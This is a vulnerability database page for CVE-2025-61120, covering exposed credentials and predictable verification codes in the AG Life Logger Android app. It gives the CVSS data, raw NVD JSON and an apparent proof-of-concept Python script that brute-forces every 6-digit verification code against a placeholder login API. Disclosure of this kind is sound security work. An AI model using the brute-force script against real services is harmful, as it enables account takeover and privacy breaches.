Security Vulnerability Report
中文
CVE-2025-61120 CVSS 7.5 HIGH

CVE-2025-61120

Published: 2025-10-30 17:15:39
Last Modified: 2026-04-15 00:35:42

Description

AG Life Logger Android App version v1.0.2.72 and before (package name com.donki.healthy), developed by IO FIT, K.K., contains improper access control vulnerabilities. Exposed credentials in traffic may allow attackers to misuse cloud resources, and predictable verification codes make brute-force account logins feasible. Successful exploitation could result in account compromise, privacy breaches, and abuse of cloud resources.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AG Life Logger Android App v1.0.2.72及之前所有版本
包名:com.donki.healthy
开发者:IO FIT, K.K.

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import itertools import time # CVE-2025-61120 PoC - AG Life Logger Authentication Bypass # This PoC demonstrates the improper access control vulnerability TARGET_URL = "https://api.ag-lifelogger.example.com" USERNAME = "[email protected]" def intercept_credentials(): """ Step 1: Intercept credentials from network traffic Since the app transmits credentials without proper encryption, an attacker with network access can capture these credentials. """ proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' } # Example login request that exposes credentials login_data = { 'username': USERNAME, 'password': 'intercepted_password', 'app_version': 'v1.0.2.72' } try: response = requests.post( f"{TARGET_URL}/api/v1/auth/login", json=login_data, proxies=proxies, verify=False, timeout=10 ) return response.json() except requests.RequestException as e: print(f"Error intercepting credentials: {e}") return None def brute_force_verification_code(session_token): """ Step 2: Brute force the predictable verification code The verification code is predictable, allowing brute force attacks. """ # The code uses a weak algorithm (e.g., 6-digit code based on timestamp) # Try all possible combinations for code in itertools.product('0123456789', repeat=6): verification_code = ''.join(code) verify_data = { 'session_token': session_token, 'verification_code': verification_code } try: response = requests.post( f"{TARGET_URL}/api/v1/auth/verify", json=verify_data, timeout=5 ) if response.status_code == 200: result = response.json() if result.get('success'): print(f"[SUCCESS] Valid code found: {verification_code}") return verification_code except requests.RequestException: continue # Rate limiting bypass - add small delay time.sleep(0.1) return None def exploit(): """ Main exploitation function """ print("CVE-2025-61120 PoC - AG Life Logger Authentication Bypass") print("=" * 60) # Step 1: Obtain credentials through traffic interception print("\n[Step 1] Intercepting credentials from network traffic...") credentials = intercept_credentials() if credentials: print(f"[+] Captured credentials: {credentials}") # Step 2: Brute force verification code print("\n[Step 2] Brute forcing verification code...") session_token = credentials.get('session_token') if credentials else None if session_token: valid_code = brute_force_verification_code(session_token) if valid_code: print(f"\n[!] Account compromised! Verification code: {valid_code}") print("\n[*] Attack completed") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61120", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:39.233", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AG Life Logger Android App version v1.0.2.72 and before (package name com.donki.healthy), developed by IO FIT, K.K., contains improper access control vulnerabilities. Exposed credentials in traffic may allow attackers to misuse cloud resources, and predictable verification codes make brute-force account logins feasible. Successful exploitation could result in account compromise, privacy breaches, and abuse of cloud resources."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://kar1oz.notion.site/AG-Life-Logger-2629a473ecb280c693e7d5d4a99de559", "source": "[email protected]"}]}}